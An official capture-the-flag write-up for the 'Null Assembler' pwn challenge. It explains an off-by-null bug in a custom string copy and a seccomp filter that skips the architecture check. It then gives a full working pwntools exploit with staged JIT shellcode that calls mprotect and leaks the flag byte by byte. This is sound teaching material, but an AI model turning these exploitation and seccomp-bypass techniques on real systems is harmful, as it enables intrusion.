Null Assembler

15th 5 2025

Prepared By: clubby789

Challenge Author: s4muii

Difficulty: Easy

Classification: Official

Synopsis

Null Assembler is an Easy Pwn challenge. It is a smaller Assmebler written in c. The core bug is an off-by-one at the end of a string operation, letting you write a null byte just past the intended buffer. With careful input, you can smash that single byte out of bounds, corrupting adjacent data. This tiny mistake opens the door to memory corruption and, with the right moves, full code execution.

Skills Required

```
- Shellcoding
- Seccomp bypass
```

Skills Learned

```
- Identifying and exploiting off-by-null bugs
```

Solution

Finding the vulnerability

1. off-by-one error in `safe_strncpy` function.

```
char *safe_strncpy(char* dst, const char *restrict src,size_t dsize)
{
    memcpy(dst, src, dsize);
    dst[strlen(dst) <= dsize ? strlen(dst): dsize] = '\0';
    return dst;
}
```

In `strncpy` whenever you copy a string if the string is longer than n then it will copy up-to `n` bytes and not null-terminate the string. in here we tried to fix that by making our our safe copy of `strncpy` which always null-terminates the dst but in the case if the src is longer than `n` it will write the null byte out-of-bounds at `dst[dsize]`.

2. insufficient checks in the seccomp filter.

```
A = sys_number
A >= 0x40000000 ? kill : next

A == fstat ? ok : next
...
```

The seccomp filter doesn't check for the arch and that presents an opportunity for an attacker since in our modern x86-64 machines we can still execute x86 syscalls then we can use them as well. And since they all have different numbers than x86-64 syscalls than we have a bigger surface than we initially could have.

Exploitation

- Fill the first page of code with nop instructions til you get to the second page . this is done since overwriting the idx if it's `0x000000xx` will result in it being `0x0` and hence starting at the beginning of the shellcode which is not ideal and give us no benefits.
- Place the shellcode to open/read/write the flag in the data section of the jit.
- Make sure that at idx 0x100 we will jump to the middle of an instruction that will allow us to break out of the jit emitted code.
- Add in mprotect(data,0x1000,0o7) call in the first stage shellcode to make the data section executable.
- Create a new label with the maximum length and hence overwriting its idx's LSB with 0x0 to be `0x100` and jmp to it triggering the first stage shellcode to call mprotect and then jmp to the second stage shellcode which will open/read/write the flag.

and here's the full exploit

```
from pwn import *
context.arch        = 'i386'
context.log_level   = 'CRITICAL'

REGS = {
    'eax': 'h0',
    'ebx': 'h1',
    'ecx': 'h2',
    'edx': 'h3',
}
```

```
def create_atom(inst):
    assert len(asm(inst)) <= 0x2
    return asm(inst) + b'\xeb'+p8(0x1) # a jump to skip the first byte of the next mov inst

def mov(reg,value):
    return f'mov {REGS[reg]},{value}\n'.encode()

def cmp(reg0,reg1):
    return f'cmp {REGS[reg0]},{REGS[reg1]}\n'.encode()

def ret():
    return b'ret\n'

def label(name):
    return name.encode()+b':\n'

def jmp(label):
    return f'jmp {label}\n'.encode()

def str(reg,idx):
    return f'str {REGS[reg]},{idx}\n'.encode()

def conn():
    p = remote('127.0.0.1', 1234)
    return p

def get_one_byte(idx):
    p = conn()

    sc_first_stage = b''
    sc_first_stage += create_atom('push edi; push edi') # same opcode as push rdi
    sc_first_stage += create_atom('mov esi,ebx')        # esi = PAGE_SIZE
    sc_first_stage += create_atom('syscall')
    sc_first_stage += create_atom('pop edi ; pop edi')
    sc_first_stage += create_atom('jmp edi')

    with context.local(arch='amd64',bits=64):
        sc_second_stage = asm(f"""
    open:
        lea rbx, [rip+flag]
        mov ecx,0x0

        mov eax,0x5
        int 0x80

    read:
        mov edi,eax
        lea rsi,[rip+flag_bytes]
        mov rdx,0x100

        mov eax,SYS_read
        syscall
```

```
    exit:
        xor edi,edi
        lea rsi,[rip+flag_bytes]
        mov dil,BYTE PTR[rsi+{idx}]

        mov eax,SYS_exit_group
        syscall

        flag:
            .string "./flag.txt"

        flag_bytes:
    """).ljust(0x50,asm('nop'))

    # fill the first page with some instructions with a nop slide
    # function prologue     movs    cmps
    # 15                +   41*5 +  17*2 =  254
    payload  = b''
    payload += mov('eax',0x0)*41
    payload += cmp('eax','ebx')*17 # just to fill up the gap

    # start of our sc_first_stage execution which will call mprotect on the data section
    for i in range(0, len(sc_first_stage), 4):
        payload += mov('eax',u32(sc_first_stage[i:i+4]))

    # fill the data section with sc_second_stage that will have our shellcode to orw the
flag
    for i in range(0, len(sc_second_stage), 4):
        payload += mov('eax',u32(sc_second_stage[i:i+4]))
        payload += str('eax',i)

    payload += mov('eax',0xa)   # SYS_mprotect
    payload += mov('ebx',0x1000)
    payload += mov('edx',0x7)

    payload += label('A'*0x20)  # label to overflow
    payload += jmp('A'*0x20)    # trigger the jump to our sc_first_stage
    payload += ret()            # return to finish the function and start jit execution

    p.sendline(payload)

    byte = int(p.recvall().strip().split()[-1],base=10)
    if byte == 0:
        return None
    return p8(byte)


idx     = 0
flag    = b''

with log.progress('Flag....',level=logging.CRITICAL) as l:
    while True:
```

```
        b = get_one_byte(idx)
        if b == None:
            l.success(flag.decode())
            break
        flag+= b
        l.status(flag.decode())
        idx+=1
```